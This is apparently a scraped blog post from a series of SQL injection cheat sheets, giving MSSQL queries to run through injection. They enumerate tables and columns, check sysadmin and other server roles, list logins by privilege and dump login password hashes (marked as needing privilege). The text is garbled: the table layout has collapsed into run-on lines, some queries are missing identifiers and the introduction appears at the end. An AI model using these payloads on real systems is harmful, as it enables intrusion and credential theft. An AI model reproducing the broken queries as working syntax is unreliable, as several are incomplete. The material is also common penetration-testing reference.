NB: This example works only for the current database. SELECT name FROM someotherdb.sysobjects WHERE xtype = ‘U’ SELECT name FROM master.sysobjects WHERE xtype = ‘U’ - use xtype = ‘V’ for views SELECT, TYPE_NAME() FROM master.syscolumns, master.sysobjects WHERE = AND =’sometable’ - list colum names and types for master.sometable SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’) - for the current DB only
SELECT name FROM master.syslogins WHERE sysadmin = ‘1’ - tested on 2005 SELECT is_srvrolemember(‘sysadmin’, ‘sa’) - is sa a sysadmin? return 1 for true, 0 for false, NULL for invalid role/username. Also try ‘bulkadmin’, ‘systemadmin’ and other values from the documentation SELECT is_srvrolemember(‘sysadmin’) - is your account a sysadmin? returns 1 for true, 0 for false, NULL for invalid role. SELECT name FROM master.syslogins WHERE bulkadmin = 1 SELECT name FROM master.syslogins WHERE dbcreator = 1 SELECT name FROM master.syslogins WHERE diskadmin = 1 SELECT name FROM master.syslogins WHERE processadmin = 1 SELECT name FROM master.syslogins WHERE setupadmin = 1 SELECT name FROM master.syslogins WHERE serveradmin = 1 SELECT name FROM master.syslogins WHERE securityadmin = 1 SELECT name FROM master.syslogins WHERE sysadmin = 1 SELECT name FROM master.syslogins WHERE isntgroup = 0 SELECT name FROM master.syslogins WHERE isntname = 0 SELECT name FROM master.syslogins WHERE hasaccess = 1 SELECT name FROM master.syslogins WHERE denylogin = 0 SELECT is_srvrolemember(‘securityadmin’) –permissions on a user– current privs in 2005, 2008 SELECT permission_name FROM master.fn_my_permissions(‘sa’, ‘USER’)
SELECT permission_name FROM master.fn_my_permissions(‘master.syslogins’, ‘OBJECT’) –permissions on a table SELECT permission_name FROM master.fn_my_permissions(null, ‘SERVER’) - current server SELECT permission_name FROM master.fn_my_permissions(null, ‘DATABASE’) - current database current privs on a particular object in 2005, 2008 SELECT name + ‘-‘ + _varbintohexstr(password_hash) from _logins - priv, mssql 2005 SELECT name, password_hash FROM _logins - priv, mssql 2005 Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer. SELECT name, _varbintohexstr(password) FROM master.sysxlogins - priv, mssql 2000.
SELECT name, password FROM master.sysxlogins - priv, mssql 2000 SELECT loginame FROM master.sysprocesses WHERE spid = Users These are marked with “– priv” at the end of the query. Some of the queries in the table below can only be run by an admin. I’m not planning to write one for MS Access, but there’s a great MS Access Cheat Sheet here. The complete list of SQL Injection Cheat Sheets I’m working is: This helps to highlight any features which are lacking for each database, and enumeration techniques that don’t apply and also areas that I haven’t got round to researching yet. In this series, I’ve endevoured to tabulate the data to make it easier to read and to use the same table for for each database backend.
This post is part of a series of SQL Injection Cheat Sheets. Some useful syntax reminders for SQL Injection into MSSQL databases…